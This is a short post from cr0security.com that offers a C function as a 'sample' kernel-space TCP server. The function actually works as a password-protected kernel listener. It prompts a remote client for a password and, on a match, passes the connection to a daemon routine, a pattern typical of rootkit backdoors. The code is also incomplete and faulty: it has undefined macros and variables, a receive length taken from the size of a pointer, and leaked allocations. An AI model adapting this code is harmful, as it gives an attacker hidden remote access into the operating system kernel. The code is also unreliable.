A SAMPLE FUNCTION THAT IMPLEMENT TCP SERVER THAT WORKS IN KERNEL SPACE

by : Antonius (cr0security.com)


the logic is pretty much the same as user space tcp server
this isn't a good sample, a good sample will implement asnychronous socket operation (note: asynchronous is different from non blocking )

create socket -> bind -> listen -> accept -> close (after finish receiving (FIN))


======================
static cr0 cr0security init_cr_this_mod(void *arg)
{
	cr0sock server_sock,master_sock;
	struct sockaddr_in server_addr;
	struct sockaddr_in master_addr;
	cr0 retme, my_sockaddr_len, master_sockaddr_len;
	
	repeat_socket:
	already = FALSE;
	allow_signal(SIGKILL);
	master_sock = NULL;
	server_sock = NULL;
	KERN
	memset(&master_addr,0,sizeof(master_addr));
	memset(&server_addr,0,sizeof(server_addr));
	server_addr.sin_family = PF_INET;
	server_addr.sin_port = htons(int_cr_kern_port);
	server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	my_sockaddr_len = sizeof(struct sockaddr_in);
	master_sockaddr_len = sizeof(struct sockaddr_in);
	result = sock_create(PF_INET, SOCK_STREAM, 0, &server_sock);
	if(result < 0) 
		return -1;
	if (server_sock==NULL) 
		return -1;
	bind = server_sock->ops->bind(server_sock, (struct sockaddr *) &server_addr, my_sockaddr_len);
	if (bind < 0)  
		return -1;
	listen = server_sock->ops->listen(server_sock,SOMAXCONN);
	if (listen < 0)
		return -1;
	KERN
	master_sock = (struct socket *)server_sock;
	retme = sock_create(server_sock->sk->sk_family, server_sock->type,server_sock->sk->sk_protocol, &master_sock);
	master_sock->type = server_sock->type;
	master_sock->ops = server_sock->ops;
	retme = server_sock->ops->accept(server_sock, master_sock, 0);
	if ((retme < 0) || (master_sock ==NULL))
		return -1;
	else	
		retme = master_sock->ops->getname(master_sock,( struct sockaddr *)&master_addr, &my_sockaddr_len, 2);
	if (master_sock == NULL) 
		return -1;
	Length = sprintf(cr0_buffer, "%s",the_pass);
	cr_send(master_sock, cr0_buffer, Length);
	END
	while ((1) && (already == FALSE)) {
		sockbuffer = kmalloc(256,GFP_KERNEL);
		KERN
		Length2 = cr_recvmsg(master_sock, sockbuffer, sizeof(sockbuffer));
		END
		if (Length2 > 0) {
			KERN
			panjang = strlen(password) - 1;
			clean_buffer = kmalloc(panjang,GFP_KERNEL);
			orig_len = panjang;
			clean_buffer = crtruncate(sockbuffer,panjang);
			total_pass = panjang + 10;
			mypassword = kmalloc(total_pass,GFP_KERNEL);
			sprintf(mypassword,"%s%s%s",password,null_terminate,null_terminate);
			END
			if(strstr(mypassword,clean_buffer)) {
				kfree(sockbuffer);
				kfree(mypassword);
				kfree(clean_buffer);
				goto letmein;
			}
			else {
				kfree(sockbuffer);	
				kfree(mypassword);
				kfree(clean_buffer);
				goto wrongway;
			}
		}
		kfree(sockbuffer);
	}
	wrongway:
	resumer(master_sock,master_addr);
	if (master_sock != NULL)   
		sock_release(master_sock);
	if (server_sock != NULL)  
		sock_release(server_sock);
	goto repeat_socket;
	letmein:
	gmon_ops_return =  crdaemon(master_sock,master_addr);
	if (master_sock != NULL)  
		sock_release(master_sock);
	if (server_sock != NULL) 
		sock_release(server_sock);
	goto repeat_socket;
//do {} while(!kthread_should_stop());
return 0;	
}